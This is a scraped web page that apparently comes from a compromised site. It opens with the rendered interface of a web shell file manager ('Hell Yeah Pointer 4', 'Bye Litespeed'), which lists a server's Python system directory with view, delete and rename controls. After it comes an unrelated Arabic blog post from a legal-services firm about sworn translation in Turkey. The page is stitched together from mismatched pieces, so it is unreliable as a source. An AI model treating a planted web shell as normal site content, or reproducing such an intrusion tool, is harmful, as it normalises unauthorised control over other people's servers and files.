Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-08 04:29:15
curdir: / / usr / lib64 / python3.6 / lib2to3 / __pycache__ / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 4096 2025-12-03 11:10:56 0755
.. 4096 2025-12-03 11:10:56 0755
__init__.cpython-36.opt-1.pyc 123 2025-08-26 12:08:10 0644
__init__.cpython-36.opt-2.pyc 123 2025-08-26 12:08:10 0644
__init__.cpython-36.pyc 123 2025-08-26 12:08:10 0644
__main__.cpython-36.opt-1.pyc 207 2025-08-26 12:08:10 0644
__main__.cpython-36.opt-2.pyc 207 2025-08-26 12:08:10 0644
__main__.cpython-36.pyc 207 2025-08-26 12:08:10 0644
btm_matcher.cpython-36.opt-1.pyc 4934 2025-08-26 12:08:10 0644
btm_matcher.cpython-36.opt-2.pyc 3363 2025-08-26 12:08:16 0644
btm_matcher.cpython-36.pyc 4934 2025-08-26 12:08:10 0644
btm_utils.cpython-36.opt-1.pyc 6133 2025-08-26 12:08:10 0644
btm_utils.cpython-36.opt-2.pyc 4613 2025-08-26 12:08:16 0644
btm_utils.cpython-36.pyc 6133 2025-08-26 12:08:10 0644
fixer_base.cpython-36.opt-1.pyc 6225 2025-08-26 12:08:10 0644
fixer_base.cpython-36.opt-2.pyc 3464 2025-08-26 12:08:16 0644
fixer_base.cpython-36.pyc 6225 2025-08-26 12:08:10 0644
fixer_util.cpython-36.opt-1.pyc 12038 2025-08-26 12:08:10 0644
fixer_util.cpython-36.opt-2.pyc 9870 2025-08-26 12:08:16 0644
fixer_util.cpython-36.pyc 12038 2025-08-26 12:08:10 0644
main.cpython-36.opt-1.pyc 8498 2025-08-26 12:08:13 0644
main.cpython-36.opt-2.pyc 6743 2025-08-26 12:08:16 0644
main.cpython-36.pyc 8532 2025-08-26 12:08:10 0644
patcomp.cpython-36.opt-1.pyc 5357 2025-08-26 12:08:13 0644
patcomp.cpython-36.opt-2.pyc 4847 2025-08-26 12:08:16 0644
patcomp.cpython-36.pyc 5604 2025-08-26 12:08:10 0644
pygram.cpython-36.opt-1.pyc 1178 2025-08-26 12:08:10 0644
pygram.cpython-36.opt-2.pyc 973 2025-08-26 12:08:16 0644
pygram.cpython-36.pyc 1178 2025-08-26 12:08:10 0644
pytree.cpython-36.opt-1.pyc 24449 2025-08-26 12:08:13 0644
pytree.cpython-36.opt-2.pyc 15055 2025-08-26 12:08:16 0644
pytree.cpython-36.pyc 25136 2025-08-26 12:08:10 0644
refactor.cpython-36.opt-1.pyc 20758 2025-08-26 12:08:13 0644
refactor.cpython-36.opt-2.pyc 16710 2025-08-26 12:08:16 0644
refactor.cpython-36.pyc 20791 2025-08-26 12:08:10 0644
مجموعة كريم - الترجمة المحلفة في تركيا – ما هي وما أهميتها

الترجمة المحلفة في تركيا – ما هي وما أهميتها

Blog Details

الترجمة المحلفة في تركيا – ما هي وما أهميتها

تعد الترجمة من اللغة الأجنبية إلى اللغة التركية من أكثر الخدمات التي يتم طلبها في تركيا، ولا شك أن أهمية ترجمة الأوراق الرسمية والحكومية يجب أن تكون من مترجم محلف في تركيا، يمكنه أن يترجم وثائقك التي تحتاجها باللغة التركية لتيسير معاملة ما في تركيا.

لذا في هذه المقالة سنتعرف عن الترجمة المحلفة في تركيا، وما هي وما أهميتها.

 

ما هي الترجمة المحلفة في تركيا؟

تعتبر الترجمة المحلفة بأنها هي الترجمة المعتمدة والترجمة المستوفية الدقيقة للعقود والوثائق والشهادات وغيرها من الأوراق الرسمية أو الخاصة التي تحمل الطابع القانوني وفق الشروط القانونية التي تضعها الحكومة التركية، مما يسمح باستخدامها في مؤسسات الدولة، ويتم التعامل بها بشكل رسمي، مع إقرار المترجم بمسؤوليته عن دقة الوثيقة التي تمت ترجمتها من اللغة الأجنبية إلى اللغة التركية.

 

من هو المترجم المحلف؟

الترجمان المحلف في تركيا هو شخص متخرج من إحدى أقسام اللغات الأجنبية أو قسم الترجمة، ويكون المترجم المحلف في تركيا متقنا اللغة التي سيترجم لها واللغة المترجم منها، ويكون مخول من كاتب العدل للترجمة الرسمية للوثائق القانونية وختم المترجم المحلف ذات صفة رسمية في المؤسسات الحكومية في الدولة.

 

ما الذي يجب على المترجم المحلف؟

يجب على الترجمان المحلف أن يتمتع بصفات عديدة، مثل الحفاظ على سرية المعلومات التي يترجمها، والانضباط الذاتي، والموثوقية والأمانة المطلقة في نقل المعلومات من لغة إلى أخرى، بالإضافة إلى ضرورة إتقان اللغات بتفاصيلها الدقيقة ومصطلحاتها وعرفها، ومعرفة التشريعات ذات الصلة، وامتلاك القدرة على تحديد أولويات الأوصاف الوظيفية المتعددة.

 

ما هي الشروط المطلوبة لأكون مترجم محلف؟

لكي تكون مترجم محلف في تركيا عليك أن تستوفي شروط المترجم المحلف في تركيا، ومعرفة المعايير المطلوبة التي تحددها المؤسسات التركية، وهذه الشروط هي:

  • أن تكون مواطنا تركيا، أو حاملا للجنسية التركية.
  • الحصول على شهادة تخرج من أقسام اللغات الأجنبية، أو أقسام الترجمة في الجامعات التركية، أو الجامعات التي تعترف بشهادتها الحكومة التركية.
  • الحصول على وثيقة اختبار تثبت إمكانيتك في إتقان اللغة الأجنبية التي تريد أن تترجم منها إلى اللغة التركية.
  • التقديم لدى كاتب العدل بدرجة البكالوريوس وشهادة إتقان اللغة الأجنبية.
  • أن تؤدي اليمين أمام كاتب العدل.

 

ما هي أهمية الترجمة المحلفة في تركيا؟

إن مع توسع نطاق الاستثمارات العربية والأجنبية في ولايات تركيا، بالتزامن مع نهضة السوق العقاري الهائلة التي تشهدها تركيا في الفترة الأخيرة، والإقبال غير المسبوق من الطلاب الأجانب والعرب على الجامعات التركية، والنشاط السياحي الكبير الذي يترافع مع قدوم أعداد هائلة وكبيرة من السياح العرب والأجانب إلى تركيا، فنجد أننا بحاجة ماسة إلى وجود هيئات ذات صبغة رسمية تقدم خدمات الترجمة المحلفة والاحترافية للعقود والمواثيق والمستندات والأوراق اللازمة لكافة الأطياف من المستثمرين والطلاب والسياح في تركيا.

وهنا تكمن أهمية المترجم المحلف في تركيا الذي لا يمكن للأجانب الاستغناء عن خدماته بأي حال من الأحوال، فترجمة الأوراق الرسمية، وتصديقها في دوائر النوتر (كاتب العدل) يمنح تلك الأوراق القيمة القانونية التي تمكن أصحابها من الاستفادة من هذه الأوراق.

 

يمكنكم الحصول على خدمة الترجمة المحلفة من مجموعة كريم للاستشارات القانونية.

 

 

خدمات الترجمة القانونية في تركيا

مجموعة كريم للترجمة القانونية في خدمتكم في كل ما يتعلق في الترجمة القانونية المتعلقة، في إدارة العقود، والتعاقدات العقاري والتجارية وهي من المهارات التي تقدمها مجموعة كريم بجميع اللغات ترجمة دقيقة.

ويتكون الفريق مجموعة من المترجمين المؤهلين وأصحاب الكفاءة والخبرة الواسعة والمعترف عليهم من قبل عدد كبير من المؤسسات القانونية، وشركات المحاماة، ومكاتب الاستشارات القانونية، حيث نقوم بترجمة المذكرات والأحكام القضائية وجميع المستندات من الإنجليزية إلى التركي في تركيا ترجمة جوازات السفر ومستندات الشركات من العربية إلى الإنجليزية في تركيا ترجمة العقود وشهادات الميلاد من العربية إلى التركي في تركيا نضع كافة خدمات الترجمة القانونية في جميع المدن التركية بين يديك.

 

اقرأ أيضا:

خدمة الترجمة في تركيا